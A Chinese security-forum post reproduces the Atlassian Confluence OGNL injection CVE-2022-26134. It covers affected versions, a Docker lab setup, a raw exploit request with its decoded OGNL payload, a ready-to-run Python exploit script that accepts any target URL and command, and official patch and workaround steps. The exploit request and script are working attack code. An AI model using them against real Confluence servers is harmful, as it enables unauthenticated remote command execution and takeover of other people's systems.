找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 126|回复: 0

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184652
发表于 2022-6-7 16:33:38 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

0x01 漏洞描述
近日,Atlassian官方发布了Confluence Server和Data Center OGNL 注入漏洞(CVE-2022-26134)的安全公告。该漏洞的CVSS评分为10分,目前漏洞细节与PoC已被公开披露,且被检测到存在在野利用。
      Atlassian Confluence是Atlassian公司出品的专业wiki程序。攻击者可利用漏洞在未经身份验证的情况下,远程构造OGNL表达式进行注入,在Confluence Server或Data Center上执行任意代码。请相关用户尽快自检并采取措施进行防护。

0x02 影响范围
     Atlassian Confluence Server and Data Center 用于团队成员之间的协作和知识共享,主要部署在内网,所以互联网上分布较少,主要集中在美国、德国和荷兰。
目前受影响的 Atlassian Confluence Server and Data Center 版本:
Atlassian Confluence Server and Data Center < 7.4.17
7.5.0  ≤ Atlassian Confluence Server and Data Center < 7.13.7
7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1
0x03 漏洞环境搭建
新建一个docker-compose.yml,内容如下:
[Bash shell] 纯文本查看 复制代码
version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence


执行如下命令启动一个Confluence Server 7.13.6:
[Bash shell] 纯文本查看 复制代码
docker-compose up -d

环境启动后,访问http://your-ip:8090会进入安装引导,会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书
提示需要license key
Organization随便填一个:
生成证书
生成license key
复制license key下一步
填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres。
完了之后按照以下步骤安装设置。
选Example Site
同样选择第一项
配置账号信息
搭建成功
0x04 漏洞复现
漏洞利用发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
[Plain Text] 纯文本查看 复制代码
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
7.png
OGNL表达式为:
[Python] 纯文本查看 复制代码
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

0x05 EXP
[Python] 纯文本查看 复制代码
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()

def check(host):

 r = requests.get(host+"/login.action", verify=False)
 if(r.status_code == 200):
  filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
  if(len(filter_version)>=1):
   version = filter_version[0].split("'>")[1].split('</')[0]
   return version
  else:
   return False
 else:
  return host
def exploit(host, command):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': '*/*',
    }
    r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
    if(r.status_code == 302):
        return r.headers['X-Cmd-Response']
    else:
        return False

if(len(sys.argv) < 3):
 print("USE: python3 " + sys.argv[0] + " [url]https://target.com[/url] cmd")
 print("ex: python3 " + sys.argv[0] + " [url]https://target.com[/url] id")

else:
 target = sys.argv[1]
 cmd = sys.argv[2]
 version = check(target)
 print("============ GET Confluence Version ============")
 if(version):
  print("Version: " + version)
 else:
  print("Version: Not Found")
 print(exploit(target, cmd))

0x06 官方修复建议
    当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://www.atlassian.com/software/confluence/download-archives

0x07 临时修复建议
如果在集群内运行 Confluence 则需要在每个节点上重复以下过程:
1.关闭 Confluence
3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 移出 Confluence  安装目录
注:不要在目录中留下旧的  JAR  文件
4.将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
5.检查新的 xwork-1.0.3-atlassian-10.jar 文件权限是否和所在目录的其他文件权限一致。
6.启动 Confluence

Confluence 7.0.0 - Confluence 7.14.2 的用户:
如果在集群内运行 Confluence 则需要在每个节点上重复以下过程:
1.关闭 Confluence
2.下载
https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar
https://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jar
https://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class
3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3.6.jar
/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
移出 Confluence 安装目录
注:不要在目录中留下旧的  JAR  文件
4. 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
5.将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
6.检查两个新文件权限是否和所在目录的其他文件权限一致。
7.切换到目 录/confluence/WEB-INF/classes/com/atlassian/confluence/setup
a.创建一个名为的新目录 webwork
b.将 CachedConfigurationProvider.class 复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
c.确保 CachedConfigurationProvider.class 文件和/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 目录权限正确
8.启动 Confluence
详细操作请参考官方:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
0x08 参考连接
https://mp.weixin.qq.com/s/5g9zL-TT1flhzgQhV13eaA
https://mp.weixin.qq.com/s?__biz=Mzk0NjEyNjY5OQ==&mid=2247487262&idx=2&sn=54dc65ba0e07082dc0bdc1bad4027b86
https://mp.weixin.qq.com/s?__biz=MjM5NzA3Nzg2MA==&mid=2649860192&idx=1&sn=e2333899ee0c0276a71286c6700825bf
https://mp.weixin.qq.com/s?__biz=Mzg5MjQ1MDg2MQ==&mid=2247483762&idx=1&sn=f4904a7d5b010986b43748dfe5cb7857
https://mp.weixin.qq.com/s?__biz=MzI1NDQxMDE0NQ==&mid=2247484095&idx=1&sn=a2706dac64dcba76e3e2efb04e948717
https://mp.weixin.qq.com/s?__biz=Mzg5NTYwMDIyOA==&mid=2247488321&idx=1&sn=17bec17e95ae618bb32f353b88103acd
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247489417&idx=1&sn=3989375cb9df1833381b8957db81a417
https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650261295&idx=1&sn=d9967671bf700a0b40aed9e695e9401e




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-4 19:36

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表